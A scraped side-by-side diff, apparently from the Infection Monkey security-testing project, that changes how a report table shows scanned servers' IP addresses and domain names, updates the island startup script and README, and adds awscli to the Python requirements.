return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
};
const columns = [ const columns = [
{ {
Header: 'Scanned Servers', Header: 'Scanned Servers',
columns: [ columns: [
{ Header: 'Machine', accessor: 'label'}, { Header: 'Machine', accessor: 'label'},
{ Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, { Header: 'IP Addresses', id: 'ip_addresses',
accessor: x => renderIpAddresses(x)},
{ Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
] ]

View File

@ -2,4 +2,4 @@
cd /var/monkey cd /var/monkey
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & /var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py /var/monkey/monkey_island/bin/python/bin/python monkey_island.py

View File

@ -1,3 +1,6 @@
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to run the software from source you may refer to the instructions below.
How to set up the Monkey Island server: How to set up the Monkey Island server:
---------------- On Windows ----------------: ---------------- On Windows ----------------:

View File

@ -15,3 +15,4 @@ ipaddress
enum34 enum34
PyCrypto PyCrypto
boto3 boto3
awscli